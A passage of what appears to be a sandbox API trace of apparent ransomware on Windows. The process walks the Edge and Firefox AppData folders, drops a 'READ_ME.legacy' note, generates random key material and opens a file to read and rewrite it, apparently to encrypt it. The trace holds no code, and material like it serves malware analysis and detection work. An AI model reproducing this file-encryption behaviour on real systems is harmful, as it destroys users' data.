| out: hHeap=0x520000) returned 1 [0149.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0149.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0149.347] FindNextFileW (in: hFindFile=0x563cf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1b1922e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1b1922e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1b1922e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e92e0 | out: hHeap=0x520000) returned 1 [0149.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.347] GetLastError () returned 0x0 [0149.347] SetLastError (dwErrCode=0x0) [0149.347] GetLastError () returned 0x0 [0149.347] SetLastError (dwErrCode=0x0) [0149.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e92e0 [0149.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.347] GetLastError () returned 0x0 [0149.347] SetLastError (dwErrCode=0x0) [0149.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0149.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0149.348] FindNextFileW (in: hFindFile=0x563cf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1b1922e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1b1922e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1b1922e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0149.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0149.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611c90 | out: hHeap=0x520000) returned 1 [0149.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0149.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0149.348] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe1c04709, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5638f8 [0149.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e92e0 | out: hHeap=0x520000) returned 1 [0149.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.348] GetLastError () returned 0x12 [0149.348] SetLastError (dwErrCode=0x12) [0149.348] GetLastError () returned 0x12 [0149.348] SetLastError (dwErrCode=0x12) [0149.348] GetLastError () returned 0x12 [0149.348] SetLastError (dwErrCode=0x12) [0149.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0149.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0149.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0149.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0149.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x563eb8 [0149.348] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563eb8 | out: hHeap=0x520000) returned 1 [0149.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0149.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0149.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0149.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0149.349] FindNextFileW (in: hFindFile=0x5638f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe1c04709, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.349] GetLastError () returned 0x12 [0149.349] SetLastError (dwErrCode=0x12) [0149.349] GetLastError () returned 0x12 [0149.349] SetLastError (dwErrCode=0x12) [0149.349] GetLastError () returned 0x12 [0149.349] SetLastError (dwErrCode=0x12) [0149.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0149.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0149.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0149.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3c0 [0149.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x563ef8 [0149.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ef8 | out: hHeap=0x520000) returned 1 [0149.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0149.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0149.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3c0 | out: hHeap=0x520000) returned 1 [0149.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0149.350] FindNextFileW (in: hFindFile=0x5638f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Default", cAlternateFileName="")) returned 1 [0149.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.350] GetLastError () returned 0x12 [0149.350] SetLastError (dwErrCode=0x12) [0149.350] GetLastError () returned 0x12 [0149.350] SetLastError (dwErrCode=0x12) [0149.350] GetLastError () returned 0x12 [0149.350] SetLastError (dwErrCode=0x12) [0149.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0149.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0149.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0149.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0149.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x563eb8 [0149.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563eb8 | out: hHeap=0x520000) returned 1 [0149.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0149.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0149.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0149.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0149.350] FindNextFileW (in: hFindFile=0x5638f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c04709, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1c04709, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1c04709, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0149.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.351] GetLastError () returned 0x12 [0149.351] SetLastError (dwErrCode=0x12) [0149.351] GetLastError () returned 0x12 [0149.351] SetLastError (dwErrCode=0x12) [0149.351] GetLastError () returned 0x12 [0149.351] SetLastError (dwErrCode=0x12) [0149.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0149.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0149.351] FindNextFileW (in: hFindFile=0x5638f8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c04709, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1c04709, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1c04709, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0149.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585b10 [0149.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0149.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0149.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0149.351] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe1c2445c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563cb8 [0149.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0149.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0149.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.351] GetLastError () returned 0x12 [0149.351] SetLastError (dwErrCode=0x12) [0149.351] GetLastError () returned 0x12 [0149.352] SetLastError (dwErrCode=0x12) [0149.352] GetLastError () returned 0x12 [0149.352] SetLastError (dwErrCode=0x12) [0149.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0149.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0149.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0149.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d398 [0149.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x563a78 [0149.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a78 | out: hHeap=0x520000) returned 1 [0149.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0149.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0149.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d398 | out: hHeap=0x520000) returned 1 [0149.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0149.352] FindNextFileW (in: hFindFile=0x563cb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe1c2445c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0149.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0149.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0149.352] GetLastError () returned 0x12 [0149.352] SetLastError (dwErrCode=0x12) [0149.352] GetLastError () returned 0x12 [0149.352] SetLastError (dwErrCode=0x12) [0149.352] GetLastError () returned 0x12 [0149.352] SetLastError (dwErrCode=0x12) [0149.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0149.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0149.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0149.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0149.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x563d38 [0149.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d38 | out: hHeap=0x520000) returned 1 [0149.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0149.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0149.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0149.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0149.353] FindNextFileW (in: hFindFile=0x563cb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa92ca6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa92ca6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdd9723cb, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="postSigningData", cAlternateFileName="POSTSI~1")) returned 1 [0149.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.353] GetLastError () returned 0x12 [0149.353] SetLastError (dwErrCode=0x12) [0149.353] GetLastError () returned 0x12 [0149.353] SetLastError (dwErrCode=0x12) [0149.353] GetLastError () returned 0x12 [0149.353] SetLastError (dwErrCode=0x12) [0149.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3c0 [0149.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3c0 | out: hHeap=0x520000) returned 1 [0149.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0149.353] FindNextFileW (in: hFindFile=0x563cb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Profiles", cAlternateFileName="")) returned 1 [0149.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0149.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0149.353] GetLastError () returned 0x12 [0149.353] SetLastError (dwErrCode=0x12) [0149.354] GetLastError () returned 0x12 [0149.354] SetLastError (dwErrCode=0x12) [0149.354] GetLastError () returned 0x12 [0149.354] SetLastError (dwErrCode=0x12) [0149.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0149.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0149.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0149.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0149.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0149.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5a0 [0149.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0149.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0149.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0149.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.354] GetLastError () returned 0x12 [0149.354] SetLastError (dwErrCode=0x12) [0149.354] GetLastError () returned 0x12 [0149.354] SetLastError (dwErrCode=0x12) [0149.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0149.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.354] GetLastError () returned 0x12 [0149.354] SetLastError (dwErrCode=0x12) [0149.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611868 [0149.354] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x804 [0149.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611868 | out: hHeap=0x520000) returned 1 [0149.356] WriteFile (in: hFile=0x804, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.357] CloseHandle (hObject=0x804) returned 1 [0149.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0149.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0149.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0149.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0149.357] FindNextFileW (in: hFindFile=0x563cb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c2445c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1c2445c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1c2445c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0149.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0149.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0149.357] GetLastError () returned 0x0 [0149.357] SetLastError (dwErrCode=0x0) [0149.357] GetLastError () returned 0x0 [0149.357] SetLastError (dwErrCode=0x0) [0149.357] GetLastError () returned 0x0 [0149.357] SetLastError (dwErrCode=0x0) [0149.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0149.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0149.358] FindNextFileW (in: hFindFile=0x563cb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c2445c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe1c2445c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe1c2445c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0149.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0149.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0149.358] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0149.358] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0149.358] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData", dwFileAttributes=0x80) returned 1 [0149.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0149.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0149.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0149.358] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\postsigningdata"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x804 [0149.359] GetFileSizeEx (in: hFile=0x804, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=106) returned 1 [0149.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6a) returned 0x567670 [0149.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6a) returned 0x5677d8 [0149.359] ReadFile (in: hFile=0x804, lpBuffer=0x567670, nNumberOfBytesToRead=0x6a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x567670*, lpNumberOfBytesRead=0x2e1f9bc*=0x6a, lpOverlapped=0x0) returned 1 [0149.359] SetFilePointer (in: hFile=0x804, lDistanceToMove=-106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.359] 